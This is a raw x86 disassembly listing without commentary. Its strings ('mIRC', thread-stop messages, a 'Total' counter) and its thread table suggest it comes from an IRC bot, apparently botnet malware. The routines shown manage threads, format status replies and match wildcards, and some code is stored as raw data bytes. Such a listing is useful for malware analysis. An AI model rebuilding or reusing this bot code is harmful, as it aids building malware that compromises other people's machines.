loc_40AE11:				; CODE XREF: ___:0040AE0Cj
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_40AE0A
		push	61h
		pop	ecx


loc_40AE1A:				; CODE XREF: ___:0040AE25j
		cmp	eax, ecx
		jnz	short loc_40AE21
		mov	[ebp-4], edx


loc_40AE21:				; CODE XREF: ___:0040AE1Cj
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_40AE1A
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_429098, esi
		jle	short loc_40AE66


loc_40AE40:				; CODE XREF: ___:0040AE64j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42BB60
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AE40


loc_40AE66:				; CODE XREF: ___:0040AE3Ej
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		call	near ptr 269095Dh
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		nop
		call	near ptr 26D0000h
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_43194C
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AEDB


loc_40AEB5:				; CODE XREF: ___:0040AED9j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42BB60
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AEB5


loc_40AEDB:				; CODE XREF: ___:0040AEB3j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset dword_43D808
		mov	dword ptr [ebp-94h], 94h
		nop
		call	near ptr 26D0468h
		call	near ptr 269095Dh
		nop
		push	eax
		call	sub_41B8D8
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_40AF65
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AF45
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_40AF35
		mov	esi, offset dword_431974


loc_40AF35:				; CODE XREF: ___:0040AF2Ej
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_40AFA1
		mov	esi, offset dword_431970
		jmp	short loc_40AFA1
; ---------------------------------------------------------------------------


loc_40AF45:				; CODE XREF: ___:0040AF25j
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_40AF55
		mov	esi, offset dword_43196C
		jmp	short loc_40AFA1
; ---------------------------------------------------------------------------


loc_40AF55:				; CODE XREF: ___:0040AF4Cj
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_40AF9C
		mov	esi, offset dword_431968
		jmp	short loc_40AFA1
; ---------------------------------------------------------------------------


loc_40AF65:				; CODE XREF: ___:0040AF1Cj
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_40AF9C
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AF7E
		mov	esi, offset dword_431964
		jmp	short loc_40AFA1
; ---------------------------------------------------------------------------


loc_40AF7E:				; CODE XREF: ___:0040AF75j
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_40AF8E
		mov	esi, offset dword_431960
		jmp	short loc_40AFA1
; ---------------------------------------------------------------------------


loc_40AF8E:				; CODE XREF: ___:0040AF85j
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_43195C
		jz	short loc_40AFA1


loc_40AF9C:				; CODE XREF: ___:0040AF5Cj
					; ___:0040AF6Cj
		mov	esi, offset dword_431958


loc_40AFA1:				; CODE XREF: ___:0040AF3Cj
					; ___:0040AF43j ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_431950
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AFE5


loc_40AFBF:				; CODE XREF: ___:0040AFE3j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42BB60
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AFBF


loc_40AFE5:				; CODE XREF: ___:0040AFBDj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AFEB	proc near		; CODE XREF: sub_40B08E+5Cp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		nop
		call	near ptr 269095Dh
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc_0	; "mIRC"
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_40B03A
		call	dword_4CB660
		test	eax, eax
		mov	eax, offset off_431980
		jnz	short loc_40B023
		mov	eax, offset dword_43D808


loc_40B023:				; CODE XREF: sub_40AFEB+31j
		push	eax
		push	esi
		push	offset dword_431978
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_40B05A
; ---------------------------------------------------------------------------


loc_40B03A:				; CODE XREF: sub_40AFEB+22j
		call	dword_4CB660
		test	eax, eax
		mov	eax, offset off_431980
		jnz	short loc_40B04E
		mov	eax, offset dword_43D808


loc_40B04E:				; CODE XREF: sub_40AFEB+5Cj
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_40B05A:				; CODE XREF: sub_40AFEB+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41AFE0
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_40B089
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41C1E0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 18h


loc_40B089:				; CODE XREF: sub_40AFEB+7Dj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_40AFEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B08E	proc near		; CODE XREF: sub_4017ED+7Fp
					; sub_401955+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_42DC84


loc_40B09A:				; CODE XREF: sub_40B08E+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_40B0B5
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_41C070
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B0BF
; ---------------------------------------------------------------------------


loc_40B0B5:				; CODE XREF: sub_40B08E+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_40B0BF:				; CODE XREF: sub_40B08E+25j
		test	eax, eax
		jnz	short loc_40B0D1
		add	esi, 14h
		inc	edi
		cmp	esi, offset off_42DCFC
		jb	short loc_40B09A
		jmp	short loc_40B0DF
; ---------------------------------------------------------------------------


loc_40B0D1:				; CODE XREF: sub_40B08E+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_42DC88[eax*4]
		pop	ecx


loc_40B0DF:				; CODE XREF: sub_40B08E+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_40B0F2
		push	[ebp+arg_0]
		call	sub_40AFEB
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40B0F2:				; CODE XREF: sub_40B08E+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_40B08E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B0F7	proc near		; CODE XREF: ___:00401599p
					; ___:004015D8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_43E390


loc_40B0FF:				; CODE XREF: sub_40B0F7+18j
		cmp	byte ptr [eax],	0
		jz	short loc_40B113
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4CB390
		jl	short loc_40B0FF
		jmp	short loc_40B15E
; ---------------------------------------------------------------------------


loc_40B113:				; CODE XREF: sub_40B0F7+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_43E390[esi]
		push	eax
		call	sub_41B5F0
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	dword_43E590[esi], eax
		and	dword_43E594[esi], 0
		mov	eax, [esp+8+arg_8]
		and	dword_43E598[esi], 0
		mov	dword_43E59C[esi], eax
		and	byte_43E5A8[esi], 0
		pop	esi


loc_40B15E:				; CODE XREF: sub_40B0F7+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_40B0F7	endp

; ---------------------------------------------------------------------------
word_40B162	dw 8B55h		; DATA XREF: sub_401ACD+298Ao
		dd 98EC81ECh, 8B000000h, 57560845h, 8B59266Ah, 68BD8DF0h
		dd 0F3FFFFFFh, 0F075FFA5h, 9480C7h, 10000h, 858D0000h
		dd 0FFFFFF6Ch, 50F475FFh, 0FF68B5FFh, 15E8FFFFh, 0FF000000h
		dd 6CE8EC75h, 83000002h, 6A14C4h, 2D4E4FE8h, 5E5F9002h
		dd 81EC8B55h, 200ECh, 6A575600h, 1075FF00h, 431A8068h
		dd 0C75FF00h, 0E80875FFh, 0FFFFE89Fh, 3314C483h, 0E390BEFFh
		dd 3E800043h, 833C7400h, 7500147Dh, 4BE8309h, 2, 57562D75h
		dd 0FE00858Dh, 8868FFFFh, 500042C8h, 10681E8h, 8D016A00h
		dd 0FFFE0085h, 1075FFFFh, 0C75FF50h, 0E80875FFh, 0FFFFE857h
		dd 8124C483h, 234C6h, 0FE814700h, 4CB390h, 5E5FB07Ch
; ---------------------------------------------------------------------------
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40B232	proc near		; CODE XREF: sub_401ACD+7BA5p
					; sub_40B2C0+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_40B2BA
		cmp	esi, 400h
		jge	short loc_40B2BA
		imul	esi, 234h
		push	edi
		push	ebx
		push	dword_43E5A4[esi]
		lea	edi, dword_43E5A4[esi]
		nop
		call	near ptr 2690A0Ah
		cmp	[edi], ebx
		jz	short loc_40B26A
		push	1
		pop	ebp


loc_40B26A:				; CODE XREF: sub_40B232+33j
		mov	[edi], ebx
		lea	edi, dword_43E598[esi]
		mov	dword_43E590[esi], ebx
		mov	dword_43E594[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_40B28B
		push	eax
		call	sub_4199CA
		pop	ecx


loc_40B28B:				; CODE XREF: sub_40B232+50j
		mov	[edi], ebx
		lea	edi, dword_43E59C[esi]
		mov	byte ptr dword_43E390[esi], bl
		mov	byte_43E5A8[esi], bl
		push	dword ptr [edi]
		call	dword_4CB6EC
		lea	esi, dword_43E5A0[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_4CB6EC
		mov	[esi], ebx
		pop	edi


loc_40B2BA:				; CODE XREF: sub_40B232+Dj
					; sub_40B232+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40B232	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B2C0	proc near		; CODE XREF: sub_40111D+18p
					; ___:loc_4017D9p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_43E390


loc_40B2CC:				; CODE XREF: sub_40B2C0+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_40B2DD
		push	edi
		call	sub_40B232
		test	eax, eax
		pop	ecx
		jz	short loc_40B2DD
		inc	ebx


loc_40B2DD:				; CODE XREF: sub_40B2C0+Fj
					; sub_40B2C0+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4CB390
		jl	short loc_40B2CC
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40B2C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B2F2	proc near		; CODE XREF: sub_401ACD+418Fp
					; sub_401ACD+42E1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_43E594


loc_40B306:				; CODE XREF: sub_40B2F2+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_40B328
		test	edi, edi
		jle	short loc_40B31A
		cmp	[esi], edi
		jz	short loc_40B31A
		cmp	ebx, edi
		jnz	short loc_40B328


loc_40B31A:				; CODE XREF: sub_40B2F2+1Ej
					; sub_40B2F2+22j
		push	ebx
		call	sub_40B232
		test	eax, eax
		pop	ecx
		jz	short loc_40B328
		inc	[ebp+var_4]


loc_40B328:				; CODE XREF: sub_40B2F2+1Aj
					; sub_40B2F2+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_4CB594
		jl	short loc_40B306
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B2F2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B33F	proc near		; CODE XREF: ___:00401630p
					; sub_401ACD+97Ap ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_43E590


loc_40B346:				; CODE XREF: sub_40B33F+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_40B34F
		inc	eax


loc_40B34F:				; CODE XREF: sub_40B33F+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_4CB590
		jl	short loc_40B346
		retn
sub_40B33F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B35E	proc near		; CODE XREF: sub_401ACD+2434p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_43E590


loc_40B368:				; CODE XREF: sub_40B35E+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_40B381
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_4CB590
		jl	short loc_40B368
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40B381:				; CODE XREF: sub_40B35E+10j
		mov	eax, edx
		pop	esi
		retn
sub_40B35E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B385	proc near		; CODE XREF: sub_401ACD+1067p
					; sub_401ACD+126Dp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_40B39E
		push	[ebp+arg_1C]
		call	sub_41B779
		pop	ecx


loc_40B39E:				; CODE XREF: sub_40B385+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_40B2F2
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_40B3CA
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s %s	stopped. (%d thread(s) stopped.)"
		push	eax
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_40B3E4
; ---------------------------------------------------------------------------


loc_40B3CA:				; CODE XREF: sub_40B385+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s No	%s thread found."
		push	eax
		call	sub_41B886
		add	esp, 10h


loc_40B3E4:				; CODE XREF: sub_40B385+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_40B404
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_40B404:				; CODE XREF: sub_40B385+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AD
		pop	ecx
		leave
		retn
sub_40B385	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B413	proc near		; CODE XREF: sub_4017ED+159p
					; ___:0040BA48p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_43E5A4[eax], ecx
		mov	dword_43E590[eax], ecx
		mov	dword_43E594[eax], ecx
		mov	dword_43E598[eax], ecx
		mov	dword_43E59C[eax], ecx
		mov	dword_43E5A0[eax], ecx
		mov	byte ptr dword_43E390[eax], cl
		mov	byte_43E5A8[eax], cl
		retn
sub_40B413	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B450	proc near		; CODE XREF: sub_401ACD+7E3Cp
					; sub_40B57E+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax


loc_40B45A:				; CODE XREF: sub_40B450+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_40B4BA
		cmp	eax, 1
		jnz	short loc_40B4BA
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_40B4BA
		cmp	cl, 2Ah
		jz	short loc_40B4A1
		cmp	cl, 3Fh
		jz	short loc_40B484
		cmp	cl, 5Bh
		jz	short loc_40B489
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_40B484:				; CODE XREF: sub_40B450+26j
		inc	[ebp+arg_4]
		jmp	short loc_40B4B4
; ---------------------------------------------------------------------------


loc_40B489:				; CODE XREF: sub_40B450+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_40B4E6
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_40B4B4
; ---------------------------------------------------------------------------


loc_40B4A1:				; CODE XREF: sub_40B450+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_40B57E
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi


loc_40B4B4:				; CODE XREF: sub_40B450+37j
					; sub_40B450+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B45A
; ---------------------------------------------------------------------------


loc_40B4BA:				; CODE XREF: sub_40B450+Ej
					; sub_40B450+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_40B4CA
		cmp	eax, 1
		jnz	short loc_40B4E1
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B4BA
; ---------------------------------------------------------------------------


loc_40B4CA:				; CODE XREF: sub_40B450+6Dj
		cmp	eax, 1
		jnz	short loc_40B4E1
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_40B4E1
		cmp	byte ptr [esi],	0
		jnz	short loc_40B4E1
		push	1
		pop	eax
		jmp	short loc_40B4E3
; ---------------------------------------------------------------------------


loc_40B4E1:				; CODE XREF: sub_40B450+72j
					; sub_40B450+7Dj ...
		xor	eax, eax


loc_40B4E3:				; CODE XREF: sub_40B450+8Fj
		pop	esi
		pop	ebp
		retn
sub_40B450	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B4E6	proc near		; CODE XREF: sub_40B450+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_40B507
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_40B507:				; CODE XREF: sub_40B4E6+19j
		push	ebx
		push	esi


loc_40B509:				; CODE XREF: sub_40B4E6+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_40B517
		cmp	[ebp+var_4], eax
		jnz	short loc_40B563


loc_40B517:				; CODE XREF: sub_40B4E6+2Aj
		test	edi, edi
		jnz	short loc_40B558
		cmp	bl, 2Dh
		jnz	short loc_40B54C
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_40B54C
		cmp	al, 5Dh
		jz	short loc_40B54C
		cmp	[ebp+var_4], edi
		jnz	short loc_40B54C
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_40B558
		cmp	bl, al
		jg	short loc_40B558
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_40B558
; ---------------------------------------------------------------------------


loc_40B54C:				; CODE XREF: sub_40B4E6+38j
					; sub_40B4E6+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_40B558
		push	1
		pop	edi


loc_40B558:				; CODE XREF: sub_40B4E6+33j
					; sub_40B4E6+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_40B509
; ---------------------------------------------------------------------------


loc_40B563:				; CODE XREF: sub_40B4E6+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_40B570
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_40B570:				; CODE XREF: sub_40B4E6+82j
		cmp	edi, eax
		jnz	short loc_40B579
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_40B579:				; CODE XREF: sub_40B4E6+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_40B4E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B57E	proc near		; CODE XREF: sub_40B450+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx


loc_40B59A:				; CODE XREF: sub_40B57E+3Aj
		cmp	[eax], bl
		jz	short loc_40B5BA
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_40B5AF
		cmp	cl, 2Ah
		jnz	short loc_40B5BA
		cmp	cl, 3Fh
		jnz	short loc_40B5B2


loc_40B5AF:				; CODE XREF: sub_40B57E+25j
		inc	eax
		mov	[edi], eax


loc_40B5B2:				; CODE XREF: sub_40B57E+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_40B59A
; ---------------------------------------------------------------------------


loc_40B5BA:				; CODE XREF: sub_40B57E+1Ej
					; sub_40B57E+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_40B5C5
		inc	dword ptr [esi]
		jmp	short loc_40B5BA
; ---------------------------------------------------------------------------


loc_40B5C5:				; CODE XREF: sub_40B57E+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_40B5E6
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_40B5D7
		xor	eax, eax
		jmp	short loc_40B646
; ---------------------------------------------------------------------------


loc_40B5D7:				; CODE XREF: sub_40B57E+53j
		cmp	cl, bl
		jnz	short loc_40B5E6
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_40B5E6
		push	1
		pop	eax
		jmp	short loc_40B646
; ---------------------------------------------------------------------------


loc_40B5E6:				; CODE XREF: sub_40B57E+4Dj
					; sub_40B57E+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_40B450
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B630


loc_40B5F4:				; CODE XREF: sub_40B57E+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]


loc_40B5F8:				; CODE XREF: sub_40B57E+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_40B610
		cmp	cl, 5Bh
		jz	short loc_40B610
		cmp	dl, bl
		jz	short loc_40B610
		inc	eax
		mov	[edi], eax
		jmp	short loc_40B5F8
; ---------------------------------------------------------------------------


loc_40B610:				; CODE XREF: sub_40B57E+82j
					; sub_40B57E+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_40B627
		push	eax
		push	dword ptr [esi]
		call	sub_40B450
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B62C
; ---------------------------------------------------------------------------


loc_40B627:				; CODE XREF: sub_40B57E+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_40B62C:				; CODE XREF: sub_40B57E+A7j
		cmp	eax, ebx
		jnz	short loc_40B5F4


loc_40B630:				; CODE XREF: sub_40B57E+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_40B643
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_40B643
		mov	[ebp+var_4], 1


loc_40B643:				; CODE XREF: sub_40B57E+B6j
					; sub_40B57E+BCj
		mov	eax, [ebp+var_4]


loc_40B646:				; CODE XREF: sub_40B57E+57j
					; sub_40B57E+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B57E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B64B	proc near		; CODE XREF: sub_401ACD+2AF6p

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_431E9C
		push	eax
		xor	ebx, ebx
		call	sub_41B886
		cmp	dword_431B00, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40B6BD
		push	esi
		mov	esi, offset dword_431B08


loc_40B67E:				; CODE XREF: sub_40B64B+6Fj
		mov	eax, [esi]
		test	eax, eax
		jbe	short loc_40B6B3
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset dword_431E90
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41C1E0
		add	esp, 1Ch


loc_40B6B3:				; CODE XREF: sub_40B64B+37j
		add	esi, 40h
		cmp	dword ptr [esi-8], 0
		jnz	short loc_40B67E
		pop	esi


loc_40B6BD:				; CODE XREF: sub_40B64B+2Bj
		push	dword_4CB394
		call	sub_41A88C
		pop	ecx
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41C1E0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AD
		add	esp, 34h
		pop	edi
		pop	ebx
		leave
		retn
sub_40B64B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B71A	proc near		; CODE XREF: sub_401ACD+2AE0p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		mov	eax, dword_4CE160
		mov	ecx, dword_4CE15C
		push	esi
		push	dword_4CB394
		lea	esi, [ecx+eax]
		call	sub_41A88C
		pop	ecx
		push	eax
		push	esi
		push	dword_4CE160
		lea	eax, [ebp+var_200]
		push	dword_4CE15C
		push	offset unk_431EBC
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		lea	eax, [ebp+var_200]
		push	eax
